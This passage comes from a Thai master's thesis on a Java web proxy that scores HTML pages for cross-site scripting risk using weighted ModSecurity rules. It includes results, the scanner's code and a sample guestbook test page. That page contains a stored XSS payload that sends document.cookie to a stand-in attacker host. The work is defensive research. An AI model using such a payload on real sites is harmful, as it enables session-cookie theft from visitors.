   จากการถูกดักเก็บได ้
 
 2.1.4 ModSecurity [8] 
  ModSecurity เป็นหน่วยงานที่ให้บริการไฟร์วอลล์ของเว็บระบบประยุกต์เสรี 
 นอกจากนี้ยังท าหน้าที่ให้ข้อมูลเกี่ยวกับกฎความปลอดภัยด้านต่างๆ ของเว็บระบบประยุกต์ 
 ซึ่งในกฎความปลอดภัยของ ModSecurity จะมีจุดเด่นอยู่ที่มีการถ่วงคะแนนด้วยค่าต่างๆ 
 เพ่ือให้คะแนนความความปลอดภัยแก่เว็บระบบประยุกต์ที่ต้องการน าไฟร์วอลล์เสรีดังกล่าว
 ไปใช้งาน 
 
 
 
  ค่าดัชนีที่น่าสนใจในกฎความปลอดภัยของ ModSecurity มีหลายอย่าง อาทิ  
   1) ดัชนีของความสมบูรณ์ (maturity index) ซึ่งจะมีค่าดัชนีระหว่าง  
  0 - 9 โดย 0 หมายถึง เพ่ิงทดลอง / เริ่มทดสอบ (beta / experimental) และ 9 
  หมายถึง ผ่านการทดสอบมาอย่างหนักแล้ว (heavily tested) 
   2) ดัชนีของความแม่นย า (accuracy index) มีค่าดัชนีระหว่าง 0 - 9 โดย 
  0 หมายถึง ผิดพลาดสูง และ 9 หมายถึง ไม่มีรายงานของความผิดพลาด 
 

2.2 งานวิจัยท่ีเกี่ยวข้อง 
 งานวิจัยที่เกี่ยวข้องมีดังต่อไปนี้ 
 
 2.2.1 Defending against Cross-Site Scripting Attacks [9] 
  ชาร์และตันได้น าเสนอวิธีป้องกันครอสไซต์สคริปติ้ง 4 ประเภท คือ การแก้ปัญหา
 การเขียนค าสั่ง (defensive coding practices), การทดสอบครอสไซต์สคริปติ้ง (XSS 
 testing), การตรวจจับช่องโหว่ (vulnerability detection), และการป้องกันระหว่างการใช้
 งานจริง (runtime attack prevention) 
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 2.2.2 Semi-Automated XSS test using Firefox add-on [10] 
  เติมพรเลิศ และ ภิรมย์โสภา ได้น าเสนอวิธีการทดสอบครอสไซต์สคริปติ้งกึ่ง
 อัตโนมัติด้วยไฟร์ฟอกซ์แอดออน โดยตรวจสอบจากสิ่งที่ข้อมูลควรจะถูกกรอง โดยอาศัย
 ความรู้จากแหล่งความปลอดภัยต่างๆ ในการพิจารณา อีลีเมนต์ที่เสี่ยง แอททริบิวต์ที่เสี่ยง 
 และค าส าคัญ 
  นอกจากนี้ยังน าเสนออีลีเมนต์ที่เสี่ยง แอททริบิวต์ที่เสี่ยงและค าส าคัญที่ไม่ได้ป้องกัน
 ออกมาให้ทราบด้วย ทั้งนี้โครงงานวิจัยนี้ได้ทดสอบวิธีการดังกล่าวกับแนวทางป้องกันแบบ
 ต่างๆ 
  



บทที่ 3 
การออกแบบระบบ 

 
 ในบทนี้จะกล่าวถึงการออกแบบระบบประยุกต์ส าหรับตรวจจับปัญหาครอสไซต์สคริปติ้งใน
เว็บพร็อกซี่ โดยเนื้อหาในบทนี้จะอธิบายถึงภาพรวมของระบบ รวมไปถึงการท างานของระบบในแต่
ละข้ันตอน 
 

3.1 ภาพรวมของระบบ 
 งานวิจัยนี้เน้นที่การท างานของระบบประยุกต์ส าหรับตรวจจับปัญหาครอสไซต์สคริปติ้งใน
เว็บพร็อกซี่ ซึ่งภาพรวมของระบบ คือ การติดตั้งเว็บพร็อกซี่ไว้ระหว่างกลางของการส่งข้อมูลเอกสาร
เอชทีเอ็มแอลระหว่างคอมพิวเตอร์ผู้ใช้งานและเครื่องที่ใหบ้ริการ โดยการท างานของระบบทั้งหมดจะ
เป็นไปตามแผนภาพด้านล่าง 
 

 
รูปที่ 3 การท างานของระบบ 

 

3.2 การท างานของระบบ 
 จากรูปที่ 3 จะเห็นภาพของการท างานระบบทั้งหมด โดยจะถูกแบ่งออกเป็น 5 ขั้นตอนย่อย 
ดังต่อไปนี้ 
  1) คอมพิวเตอร์ผู้ใช้งานจะท าการส่งค าร้องขอไปยังเครื่องที่ให้บริการผ่านทางเว็บ
 พร็อกซี่แต่เว็บพร็อกซี่จะยังไม่กระท าการตรวจจับใดๆ ในขั้นตอนนี้ 
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  2) เครื่องบริการท าการสร้างเอกสารเอชทีเอ็มแอลของเว็บระบบประยุกต์ขึ้นมา ตาม
 ค าร้องที่ได้รับมา และท าการส่งกลับไปยังคอมพิวเตอร์ผู้ใช้งานผ่านทางเว็บพร็อกซ่ี 
  3) ระบบประยุกต์ที่อยู่ในเว็บพร็อกซ่ีจะท าการตรวจประเมินเอกสารเอชทีเอ็มแอลที่

 ได้มา ว่ามีความเสี่ยงของปัญหาครอสไซต์สคริปติ้งหรือไม่ โดยให้  เป็นร้อยละของ
 ความเสี่ยงปัญหาครอสไซต์สคริปติ้ง การค านวณจะเป็นไปตามสมการที่ 1 ดังนี้ 
 

 
 

  โดยจะให้  เป็นความเสี่ยงของปัญหาครอสไซต์สคริปติ้งที่ต าแหน่ง  ใดๆ ที่มี

 โอกาสเกิดปัญหาครอสไซต์สคริปติ้งซึ่งอยู่ในเอกสารเอชทีเอ็มแอล โดย  จะต้องอยู่ในเซ็ท

 ของ { 1 , 2 , ... ,  , ... , -1 ,  } 

  คะแนนส าหรับความเสี่ยงของปัญหาครอสไซต์สคริปติ้ง ( ) นั้น จะอยู่ในช่วง 

 0.00 - 1.00 โดย 0.00 หมายถึง ไม่มีความเสี่ยงของปัญหาครอสไซต์สคริปติ้งในต าแหน่ง  

 นั้นๆ และ 1.00 หมายถึง ต าแหน่ง  นั้นๆ มีความเสี่ยงสูงส าหรับปัญหาครอสไซต์สคริปติ้ง 
 ซึ่งการค านวณเป็นไปตามสมการที่ 2 
 

 
 
  ระบบประยุกต์ที่พัฒนาขึ้นได้น าการก าหนดค่ามาจากกฎของ ModSecurity ซึ่งให้ 

  เป็นดัชนีของความความสมบูรณ์ (maturity index) และให้  เป็นดัชนีของความ

 แม่นย า  (accuracy index) ณ ต าแหน่ง  ใดๆ โดยมี  เป็นค่าสูงสุดของ 

 
  4) หลังจากที่ระบบประยุกต์ในเว็บพร็อกซี่ได้ท าการตรวจจับเอกสารเอชทีเอ็มแอล 

 แล้วพบว่าค่าร้อยละของ  มากกว่า 0 แสดงว่าเอกสารเอชทีเอ็มแอลดังกล่าวมีโอกาสเกิด
 ปัญหาครอสไซต์สคริปติ้ง ถ้าหากค่าของ r ทีป่รากฏมีค่าสูง ก็แสดงว่าเว็บระบบ ป ร ะ ยุ ก ต์

(1) 

(2) 
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 ดังกล่าวมีความเสี่ยงของปัญหาครอสไซต์สคริปติ้งมาก เว็บพร็อกซี่ก็จะท าการส่งการแจ้ง
 เตือนไปพร้อมกับเอกสารเอชทีเอ็มแอล 
  5) ถ้าผู้ใช้งานได้รับการแจ้งเตือนว่าเว็บระบบประยุกต์ที่จะเข้าเยี่ยมชมมีความเสี่ยง 
 ผู้ใช้งานก็จะต้องท าการตัดสินใจว่าจะเชื่อหรือเพิกเฉยต่อการแจ้งเตือนที่ได้รับจากระบบ
 ประยุกต์ในเว็บพร็อกซี่ 

  



บทที ่4 
การสร้างและการทดลองระบบ 

 
 ในบทนี้จะเป็นการน าการออกแบบระบบจากบทที่แล้วมาทาให้เกิดผล โดยการน าแนวคิด
ดังกล่าวไปพัฒนาเป็นระบบประยุกต์ในเว็บพร็อกซ่ี ซึ่งในบทนี้จะแบ่งออกเป็นสามส่วน ได้แก่ ส่วน
แรกจะเป็นการอธิบายถึงแนวทางการท าให้เกิดผล ส่วนที่สองจะเป็นการอธิบายถึงเครื่องมือที่ใช้ใน
งานวิจัย ส่วนที่สามจะเป็นวิธีการประเมินวิจัย สรุป และอภิปรายผลการทดลองท่ีได้ 
 

4.1 แนวทางการท าให้เกิดผล 
 งานวิจัยนี้ได้น าแนวทางการออกแบบระบบจากบทที่แล้ว มาท าการพัฒนาระบบประยุกต์ใน
เว็บพร็อกซี่ เพื่อทดลองตรวจจับปัญหาครอสไซต์สคริปติ้งบนเว็บระบบประยุกต์ ซึ่งแบ่งงานได้เป็น
สามส่วนหลัก ได้แก่ 

 4.1.1 ศึกษากฎจาก ModSecurity 
  น ากฎที่ได้มาจาก ModSecurity มาศึกษาโครงสร้างและรูปแบบของกฎ เพ่ือดึงค่า
 และรูปแบบของกฎบางส่วนมาใช้งานในระบบประยุกต์ในเว็บพร็อกซี่ที่จะพัฒนาขึ้น ซึ่งใน
 งานวิจัยนี้ได้น าค่าของดัชนีของความสมบูรณ์ (maturity index) และค่าของดัชนีของ
 ความแม่นย า (accuracy index) มาใช้งานในการค านวณผลร้อยละค่าความเสี่ยงของ
 ปัญหาครอสไซต์สคริปติ้ง 
  นอกจากนี้ ได้น าเอารูปแบบของกฎความปลอดภัยจาก ModSecurity ที่อยู่ใน
 รูปแบบของนิพจน์ปรกติ (regular expression) มาปรับใช้งานในระบบประยุกต์เพ่ือ
 ตรวจจับปัญหาครอสไซต์สคริปติ้งด้วย 
 

 4.1.2 พัฒนาระบบประยุกต์ในเว็บพร็อกซี่ 
  ท าการพัฒนาระบบประยุกต์ในเว็บพร็อกซี่ที่จะใช้งานตรวจจับปัญหาครอสไซต์
 สคริปติ้ง ซึ่งในงานวิจัยนี้ได้เลือกใช้ภาษาจาวา (Java) ในการพัฒนาระบบประยุกต์ในเว็บ
 พร็อกซี่ขึ้นมา 
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 4.1.3 ทดลองตรวจจับปัญหาครอสไซต์สคริปติ้ง 
  หลังจากพัฒนาระบบประยุกต์ในเว็บพร็อกซี่จนสามารถใช้งานได้จริง ขั้นตอนต่อมา
 คือท าการทดลองตรวจจับปัญหาครอสไซต์สคริปติ้งบนเว็บระบบประยุกต์ โดยได้ทดลองสร้าง
 เว็บไซต์ที่มีปัญหาครอสไซต์สคริปติ้งตามรูปแบบของกฎการป้องกันครอสไซต์สคริปติ้ง 
 เฉพาะกฎของที่ 1 – 5 กฎละจ านวน 10 เว็บไซต์ รวมทั้งหมด 50 เว็บไซต์ แล้วท าการ
 ทดลองโดยเรียกใช้งานเว็บไซต์ที่สร้างขึ้นทั้งหมดที่คอมพิวเตอร์ ผู้ใช้งานไปยังเครื่องที่
 ให้บริการซึ่งมีเว็บพร็อกซ่ีที่มีระบบประยุกต์ที่พัฒนาขึ้นอยู่ตรงกลาง 
  นอกจากนี้ก็ได้ท าการทดลองเชิงประสิทธิภาพ โดยท าการเปิดเว็บระบบประยุกต์
 ทั่วไปจ านวน 10 เว็บไซต์ซึ่งไม่ผ่านการใช้งานเว็บพร็อกซี่และเปิดผ่านการใช้งานเว็บพร็อกซี่ 
 เพ่ือน าเวลาที่ใช้ในการสร้างเอกสารเอชทีเอ็มแอลทั้งหมดมาหาค่าเฉลี่ย และท าการ
 เปรียบเทียบเชิงประสิทธิภาพกัน 
 

4.2 เครื่องมือที่ใช้ในงานวิจัย 
 เครื่องมือที่ใช้ในงานวิจัยนี้ ประกอบด้วย 

 4.2.1 Eclipse  
  Eclipse เป็นโปรแกรมที่ใช้ส าหรับพัฒนาภาษา Java โดยข้อดีของโปรแกรม 
 Eclipse คือ ติดตั้งได้ง่าย สามารถใช้ได้กับ J2SDK ได้ทุกเวอร์ชั่น มี plugin ที่ใช้เสริม
 ประสิทธิภาพของโปรแกรม สามารถท างานได้กับไฟล์หลายชนิด เช่น HTML, Java, C, JSP, 
 EJB, XML และ GIF และที่ส าคัญเป็น Freeware ใช้งานได้กับระบบปฏิบัติการ Windows, 
 Linux และ Mac OS 
 

 4.2.2 Mozilla Firefox 
  Mozilla Firefox เป็นโปรแกรมเว็บบราวเซอร์โดยเป็นโปรแกรม Open Source ที่
 พัฒนาโดยองค์การที่ ไม่หวังผลก าไรและบุคคลทั่วไป ใช้งานได้กับระบบปฏิบัติการ 
 Windows, Linux และ Mac OS 
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 4.2.3 LAMP 
  LAMP เป็นตัวอักษรย่อของโปรแกรม Open Source 4 ชนิดมารวมกัน เพ่ือท า
 หน้าที่เป็นเครื่องบริการเว็บ (Web Server) อันประกอบด้วย Linux, Apache, MySQL และ 
 PHP 
  - Linux เป็นระบบปฏิบัติการ (Operation System) 
  - Apache เป็นเครื่องบริการเว็บ (Web Server) 
  - MySQL เป็นฐานข้อมูล (Database) 
  - PHP เป็นภาษาค าสั่ง (Language) 
 

 4.2.4 Computer Laptop 
  Computer Laptop ที่ใช้งานในงานวิจัย เพ่ือทดลองตรวจจับปัญหาครอสไซต์
 สคริปติ้ง มีรายละเอียดของเครื่อง ดังนี้ 
  - Intel mobile core 2 duo t8100 
  - Memory DDR2 3072 MB 
  - เชื่อมต่อ internet download speed 10.82 Mbps 

 

4.3 วิธีประเมินการวิจัย 
 การวิจัยนี้ได้ก าหนดวิธีประเมินการวิจัยในสองแง่มุม ได้แก่ 

 4.3.1 ผลเชิงคุณภาพ 
  งานวิจัยนี้ได้ท าการทดลองตรวจจับปัญหาของไซต์สคริปติ้งบนเว็บระบบประยุกต์ที่
 จัดท าขึ้น ตามรูปแบบของกฎการป้องกันครอสไซต์สคริปติ้ง เฉพาะกฎของที่ 1 – 5 กฎละ
 จ านวน 10 เว็บไซต ์รวมทั้งหมด 50 เว็บไซต ์
 

 4.3.2 ผลเชิงประสิทธิภาพ 
  งานวิจัยนี้ได้ท าการเปิดเว็บระบบประยุกต์ทั่วไปจ านวน 10 เว็บไซต์ โดยเปิดไม่ผ่าน
 การใช้งานเว็บพร็อกซี่  และเปิดผ่านการใช้งานเว็บพร็อกซี่ เพ่ือน าเวลาที่ใช้ในการสร้าง
 เอกสารเอชทีเอ็มแอลทั้งหมดมาหาค่าเฉลี่ย 
 

4.4 สรุปผลการวิจัย 
 เนื่องจากการวิจัยนี้ได้ทดลองในสองแง่มุม และสรุปผลได้ดังนี้ 
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 4.4.1 ผลเชิงคุณภาพ 
  ระบบประยุกต์ในเว็บพร็อกซี่ที่ได้ท าการพัฒนาขึ้นมานั้น สามารถท าการตรวจจับ
 ปัญหาครอสไซต์สคริปติ้งบนเว็บระบบประยุกต์ที่สร้างมาเพ่ือทดสอบตามรูปแบบของกฎการ
 ป้องกันครอสไซต์สคริปติ้ง เฉพาะกฎของที่ 1 – 5 กฎละจ านวน 10 เว็บไซต์ รวมทั้งหมด 50 
 เว็บไซต์ ได้ผลตามตารางท่ี 3 ดังนี้ 
 
ตารางที่ 3 ตารางแสดงผลการทดลองตรวจจับปัญหาครอสไซต์สคริปติ้ง 

 
Pattern The number of attack Runtime Detection 

HTML Element Content 10 10 
HTML Common Attributes 10 10 
JavaScript Data 10 10 
HTML Style Property 10 10 
HTML URL Parameter 10 10 

 
 

 

 4.4.2 ผลเชิงประสิทธิภาพ 
  ผลการทดลองเปิดเว็บระบบประยุกต์ทั่วไป ให้สร้างเอกสารเอชทีเอ็มแอลจ านวน 
 10 เว็บไซต์ โดยเปิดไม่ผ่านการใช้งานเว็บพร็อกซ่ี และเปิดผ่านการใช้งานเว็บพร็อกซี่ และน า
 เวลาที่ใด้ทั้งหมดมาหาค่าเฉลี่ย ได้ผลตามตารางท่ี 4 ดังนี้ 
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ตารางที่ 4 ตารางแสดงผลการทดลองตรวจจับเปรียบเทียบเรื่องเวลาที่ใช้งาน 
 

Samples 
Avg. Time without 

Web Proxy 
Avg. Time with 

Web Proxy 
1 1,782 ms 3,008 ms 
2 1,320 ms 2,886 ms 
3 1,571 ms 3,310 ms 
4 2,958 ms 4,625 ms 
5 2,557 ms 4,001 ms 
6 2,876 ms 4,513 ms 
7 3,621 ms 5,792 ms 
8 2,014 ms 3,979 ms 
9 4,203 ms 7,818 ms 
10 3,922 ms 7,380 ms 

Average. 2,682.40 ms 4,731.20 ms 
 

4.5 อภิปรายผลการวิจัย 
 จากผลการทดลองพบว่าระบบประยุกต์ในเว็บพร็อกซี่ที่พัฒนาขึ้นนั้น สามารถตรวจจับ
ปัญหาครอสไซต์สคริปติ้งจากเว็บไซต์ตัวอย่างที่สร้างขึ้นจ านวน 50 เว็บไซต์ (ตามรูปแบบของกฎการ
ป้องกันครอสไซต์สคริปติ้ง เฉพาะกฎของที่ 1 – 5 กฎละจ านวน 10 เว็บไซต์) ได้ร้อยละ 100 
 แต่การใช้งานเว็บพร็อกซี่ก็ใช้เวลาในการเพ่ิมขึ้นโดยเฉลี่ย 2,048.80 มิลลิวินาที (เพ่ิมขึ้น
ประมาณ 2 วินาที) หรือคิดเป็นร้อยละ 176.38 โดยเวลาที่เพ่ิมขึ้นก็แลกเปลี่ยนกับความปลอดภัยที่
เพ่ิมข้ึนด้วย  



บทที่ 5 
บทสรุป 

 
 ในบทนี้จะแบ่งเนื้อหาออกเป็นสองส่วน ได้แก่ ส่วนแรกจะกล่าวถึงสิ่งที่ได้รับจากการวิจัย 
และส่วนที่สองจะกล่าวถึงแนวทางการวิจัยต่อไป 
 
5.1 สิ่งที่ได้จากการวิจัย 
 สิ่งที่ได้จากการวิจัยนี้ ได้แก่ 
  1) ได้ทราบถึงประเภทหลักของการปัญหาครอสไซต์สคริปติ้ง และกฎในการป้องกัน
 ปัญหาครอสไซต์สคริปติ้ง 
  2) ได้ท าการส ารวจและแบ่งรูปแบบของวิธีการป้องกันปัญหาครอสไซต์สคริปติ้งที่มี
 อยู่ในปัจจุบัน โดยน าเสนอหลักการ ท าการเปรียบเทียบข้อดีและข้อเสียของวิธีแต่ละรูปแบบ
 ส าหรับการป้องกันปัญหาดังกล่าว 
  3) ได้ท าการออกแบบและพัฒนาระบบประยุกต์ต้นแบบของเว็บพร็อกซี่ที่จะใช้งาน
 เพ่ือตรวจจับปัญหาครอสไซต์สคริปติ้งโดยใช้เว็บพร็อกซี่ในขณะที่เว็บไซต์ใช้งานจริง ณ ฝั่ง
 เครื่องคอมพิวเตอร์ผู้ใช้งานขึ้นมา และได้ท าการทดลองวัดผลของประสิทธิภาพเบื้องต้นใน
 การท างานจริง 
  4) ได้ท าการพัฒนาระบบประยุกตต์้นแบบและท าการทดลองจริง และในอนาคต
 สามารถน าระบบประยุกต์นี้ไปพัฒนาต่อเพ่ือใช้งานจริงต่อไปได้ 
 

5.2 แนวทางการวิจัยต่อ 
 งานวิจัยนี้ได้น าเสนอวิธีการตรวจจับปัญหาครอสไซต์สคริปติ้งโดยใช้เว็บพร็อกซี่ในขณะที่
เว็บไซต์ใช้งานจริง ณ ฝั่งเครื่องคอมพิวเตอร์ผู้ใช้งานขึ้นมา โดยวิธีการนี้ได้แสดงให้เห็นว่าการตรวจจับ
ปัญหาครอสไซต์สคริปติ้งนั้นสามารถท าได้จริง อย่างไรก็ตามยังมีแนวทางการวิจัยต่อที่สามารถแบ่ง
ออกได้เป็น 3 ประเด็นดังนี้ 
  1) ท าการพัฒนาระบบประยุกต์ในเว็บพร็อกซี่นี้ต่อ เพ่ือน าไปใช้ตรวจปัญหาของ
 ความปลอดภัยอ่ืนๆ บนเว็บระบบประยุกต์ 
  2) น าระบบประยุกต์นี้ไปท าการตรวจจับเว็บไซต์ต่างๆ ที่ต้องการทราบมาตรฐาน
 จากความเสี่ยงในปัญหาครอสไซต์สคริปติ้ง 
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  3) ปรับปรุงในจุดที่ยังบกพร่องของระบบประยุกต์ในเว็บพร็อกซี่ อาทิ วิธีการท างาน
 ตรวจจับให้ได้ผลลัพธ์ที่เร็วยิ่งขึ้น, วิธีการค านวณผลร้อยละของความเสี่ยงปัญหาครอสไซต์
 สคริปติ้ง, การแสดงผลให้ผู้ใช้งานเข้าใจได้ง่าย เป็นต้น 
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ตัวอย่าง : ชุดค าสั่งของเว็บพร็อกซ่ีตรวจสอบเอกสารเอชทีเอ็มแอล 
 
package scan; 
 
import java.io.BufferedReader; 
import java.io.FileInputStream; 
import java.io.FileNotFoundException; 
import java.io.IOException; 
import java.io.InputStream; 
import java.io.InputStreamReader; 
import java.nio.charset.Charset; 
import java.util.ArrayList; 
import java.util.Iterator; 
import java.util.List; 
import java.util.regex.Matcher; 
import java.util.regex.Pattern; 
 
public class ScanHtml { 
  
 public static String[] text ={"tempstring","qwertyuiopasdfghjklzxcvbnm"}; 
 public static String fileattacksName = "modsecurity_crs_41_xss_attacks.conf"; 
 public static String urlFile = "url.txt"; 
 public static String html = "html.txt"; 
 public static List<SecRule> secRuleList=new ArrayList<SecRule>(); 
  
 public static void setSecRule() { 
  InputStream    fis; 
  BufferedReader br; 
  String         line; 
   
  try { 
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   fis = new FileInputStream(fileattacksName); 
   
   br = new BufferedReader(new InputStreamReader(fis, 
Charset.forName("UTF-8"))); 
   int index = 0; 
   while((line = br.readLine()) != null) 
   { 
    if(index==0) 
     line = line.substring(1); 
    if(line.indexOf("SecRule")==0){ 
     secRuleList.add(new SecRule(line)); 
    } 
    index++; 
   } 
  } catch (FileNotFoundException e) { 
  } catch (IOException e) { 
  } 
 } 
  
 public static String addTextBody(String Html,String text){ 
  String newHtml=""; 
  int bodyBegin=0,bodyEnd=0; 
  String lowerCase = Html.toLowerCase(); 
  bodyBegin = lowerCase.indexOf("<body"); 
  if(bodyBegin>=0)bodyEnd = lowerCase.indexOf(">",bodyBegin); 
  if(bodyBegin>=0) 
  { 
   newHtml = Html.substring(0, bodyEnd+1) + text + 
Html.substring(bodyEnd+1, Html.length()-1); 
   return newHtml; 
  } 
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  return Html; 
 } 
  
 public static int sacanTextCon(String Html,String text){ 
  int bodyBegin=0,bodyEnd=0,textindex=0; 
  int a=0; 
  String lowerCase = Html.toLowerCase(); 
  bodyBegin = lowerCase.indexOf("</head"); 
  if(bodyBegin>=0)bodyEnd = lowerCase.indexOf("</html",bodyBegin); 
  if(bodyEnd>0) 
  while(textindex<bodyEnd) 
  { 
   textindex = lowerCase.indexOf(text,bodyBegin); 
   if(textindex ==-1) break; 
   bodyBegin = textindex+1; 
   if(bodyEnd>textindex) { 
    a++; 
   } 
  } 
  return a; 
 } 
  
 public static int sacanSecRule(String Html,SecRule secRule){ 
  int countSecRule =0; 
  String lowerCase = Html.toLowerCase(); 
  Pattern pattern = Pattern.compile ( secRule.operator ); 
  Matcher matcher = pattern.matcher ( lowerCase ); 
 
  while (matcher.find () ) 
  { 
   countSecRule += matcher.groupCount(); 
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  } 
   
  return countSecRule; 
 } 
  
 public static int sacanTextConAttributeOnElement(String Html,String 
element,String[] attribute){ 
  int bodyBegin=0,bodyEnd=0,textindex=0; 
  int a=0; 
  String lowerCase = Html.toLowerCase(); 
  bodyBegin = lowerCase.indexOf("</head"); 
  if(bodyBegin>=0)bodyEnd = lowerCase.indexOf("</html",bodyBegin); 
  if(bodyEnd>0) 
  while(textindex<bodyEnd) 
  { 
   textindex = lowerCase.indexOf("<"+element,bodyBegin); 
   if(textindex ==-1) break; 
   int textEndindex = lowerCase.indexOf(">",textindex); 
   String elementText = lowerCase.substring(textindex, 
textEndindex); 
   boolean hasAttribute = false; 
   for(int i = 0; i < attribute.length ; i++){ 
    if(elementText.indexOf(attribute[i])>0) { 
     hasAttribute =true; 
     break; 
    } 
   } 
   bodyBegin = textindex+1; 
   if(bodyEnd>textindex&& hasAttribute) { 
    a++; 
   } 
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  } 
  return a; 
 } 
  
 public static String sacanfile(String Html){ 
  String output = ""; 
  boolean scan = false; 
  double sum = 0; 
  double index = 0; 
  int sumSacan = 0; 
  Iterator<SecRule> iterator=secRuleList.iterator(); 
  int i = 0; 
  while(iterator.hasNext()) 
  { 
   i++; 
   SecRule secRule=(SecRule)iterator.next(); 
   int sacan = sacanSecRule(Html,secRule); 
   sumSacan += sacan; 
   sum += sacan*(secRule.accuracy+secRule.maturity)/16; 
   output += "secRule"+i+"="+sacan+"\n"; 
  } 
  index = sum/sumSacan; 
  output += "index=" + String.format("%1$,.2f", index*100);; 
  if(index>0) scan = true; 
 
  if(scan) output = "Yes & <b>Number of Risks</b>" + output;  
  else output = "<b>Number of Risks</b>" + output;  
  return output; 
  } 
  
 public static boolean hasUrlFile(String url){ 
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  InputStream    fis; 
  BufferedReader br; 
  String         line; 
   
  try { 
   fis = new FileInputStream(urlFile); 
   
   br = new BufferedReader(new InputStreamReader(fis, 
Charset.forName("UTF-8"))); 
   int index = 0; 
   while((line = br.readLine()) != null) 
   { 
    if(index==0) 
     line = line.substring(1); 
    if(line.equals(url)) return true; 
    index++; 
   } 
    
  } catch (FileNotFoundException e) { 
  } catch (IOException e) { 
  } 
  return false; 
 } 
  
 public static String newHtml(String url,String textOutput){ 
  String newHtml=""; 
  String newUrl = url; 
  InputStream    fis; 
  BufferedReader br; 
  String         line; 
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  try { 
   fis = new FileInputStream(html); 
   
   br = new BufferedReader(new InputStreamReader(fis, 
Charset.forName("UTF-8"))); 
   int index =0; 
   while((line = br.readLine()) != null) 
   { 
    if(index==0) 
     line = line.substring(1); 
    newHtml += line; 
    index++; 
   } 
   if(url.indexOf("?")>0) newUrl += "&proxyscan=1"; 
   else newUrl += "?proxyscan=1"; 
   newHtml = String.format(newHtml, textOutput,newUrl,url); 
  } catch (FileNotFoundException e) { 
  } catch (IOException e) { 
  } 
  //System.out.println(newHtml); 
  return newHtml; 
 } 
 
} 
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ตัวอย่าง : เอกสารเอชทีเอ็มแอลที่น ามาใช้ทดสอบ 
 
<html><head> 
 <title> Guestbook </title> 
 <meta name="Generator" content="EditPlus"> 
 <meta name="Author" content=""> 
 <meta name="Keywords" content=""> 
 <meta name="Description" content=""> 
</head> 
 
<body> 
 
 <form id="form1" name="form1" method="post" action="addguestbook.php"> 
 
  <table width="400" border="0" align="center" cellpadding="3" 
cellspacing="1" bgcolor="#FFFFFF"> 
  <tbody><tr> 
   <td width="117">Name</td> 
   <td width="14">:</td> 
   <td width="357"><input name="NAME" type="text" id="NAME" 
size="40"></td> 
  </tr> 
  <tr> 
   <td>E-mail</td> 
   <td>:</td> 
   <td><input name="EMAIL" type="text" id="EMAIL" 
size="40"></td> 
  </tr> 
  <tr> 
   <td valign="top">Comment</td> 
   <td valign="top">:</td> 
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   <td><textarea name="MESSAGE" cols="40" rows="3" 
id="MESSAGE"></textarea></td> 
  </tr> 
  <tr> 
   <td>&nbsp;</td> 
   <td>&nbsp;</td> 
   <td><input type="submit" name="Submit" value="Submit"> 
<input type="reset" name="Submit2" value="Reset"></td> 
  </tr> 
  </tbody></table> 
 
 </form> 
 
 <br><br><br><br> 
 
 <table width="400" border="0" align="center" cellpadding="3" cellspacing="0"> 
 <tbody><tr> 
  <td><!--<strong>View Guestbook | <a href="guestbook.html">Sign 
Guestbook</a> </strong>--></td> 
 </tr> 
 </tbody></table> 
 <br> 
 
 <table width="400" border="0" align="center" cellpadding="0" cellspacing="1" 
bgcolor="#CCCCCC"> 
 <tbody><tr> 
  <td><table width="400" border="0" cellpadding="3" cellspacing="1" 
bgcolor="#FFFFFF"> 
  <tbody><tr> 
  <td>ID</td> 
  <td>:</td> 
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  <td>3</td> 
 </tr> 
 <tr> 
  <td width="117">Name</td> 
  <td width="14">:</td> 
  <td width="357">attacker</td> 
 </tr> 
 <tr> 
  <td>EMAIL</td> 
  <td>:</td> 
  <td></td> 
 </tr> 
 <tr> 
  <td valign="top">Comment</td> 
  <td valign="top">:</td> 
  <td><script>document.location=‘http://attacker.abc/cookie-
steal.cgi?’+document.cookie</script></td> 
 </tr> 
 <tr> 
  <td valign="top">Date/Time </td> 
  <td valign="top">:</td> 
  <td>2012-09-12 17:40:53</td> 
 </tr> 
 </tbody></table></td> 
 </tr> 
 </tbody></table> 
 <br> 
 <table width="400" border="0" align="center" cellpadding="0" cellspacing="1" 
bgcolor="#CCCCCC"> 
 <tbody><tr> 
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  <td><table width="400" border="0" cellpadding="3" cellspacing="1" 
bgcolor="#FFFFFF"> 
  <tbody><tr> 
  <td>ID</td> 
  <td>:</td> 
  <td>2</td> 
 </tr> 
 <tr> 
  <td width="117">Name</td> 
  <td width="14">:</td> 
  <td width="357">UBYI</td> 
 </tr> 
 <tr> 
  <td>EMAIL</td> 
  <td>:</td> 
  <td>ubyiii@facebook.com</td> 
 </tr> 
 <tr> 
  <td valign="top">Comment</td> 
  <td valign="top">:</td> 
  <td>test</td> 
 </tr> 
 <tr> 
  <td valign="top">Date/Time </td> 
  <td valign="top">:</td> 
  <td>2012-09-11 18:43:58</td> 
 </tr> 
 </tbody></table></td> 
 </tr> 
 </tbody></table> 
 <br> 
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 <table width="400" border="0" align="center" cellpadding="0" cellspacing="1" 
bgcolor="#CCCCCC"> 
 <tbody><tr> 
  <td><table width="400" border="0" cellpadding="3" cellspacing="1" 
bgcolor="#FFFFFF"> 
  <tbody><tr> 
  <td>ID</td> 
  <td>:</td> 
  <td>1</td> 
 </tr> 
 <tr> 
  <td width="117">Name</td> 
  <td width="14">:</td> 
  <td width="357">yok</td> 
 </tr> 
 <tr> 
  <td>EMAIL</td> 
  <td>:</td> 
  <td></td> 
 </tr> 
 <tr> 
  <td valign="top">Comment</td> 
  <td valign="top">:</td> 
  <td>Hello world</td> 
 </tr> 
 <tr> 
  <td valign="top">Date/Time </td> 
  <td valign="top">:</td> 
  <td>2012-09-11 18:42:50</td> 
 </tr> 
 </tbody></table></td> 
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 </tr> 
 </tbody></table> 
 <br> 
 
</body></html> 
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ประวัติผู้เขียนวิทยานิพนธ์ 
 
 นายวรวิชญวิทย์ ประเสริฐยิ่ง เกิดเมื่อวันที่ 24 พฤษภาคม พ.ศ. 2529 ที่จังหวัดสุรินทร์ 
ส าเร็จการศึกษาหลักสูตรวิทยาศาสตรบัณฑิต สาขาวิชาการพัฒนาซอฟต์แวร์ จากจุฬาลงกรณ์
มหาวิทยาลัย ในปีการศึกษา 2551 และเข้าศึกษาต่อในหลักสูตรวิทยาศาสตรมหาบัณฑิต สาขาวิชา
วิทยาศาสตร์คอมพิวเตอร์ ที่ภาควิชาวิศวกรรมคอมพิวเตอร์ คณะวิศวกรรมศาสตร์ จุฬาลงกรณ์
มหาวิทยาลัย ในปีการศึกษา 2554 
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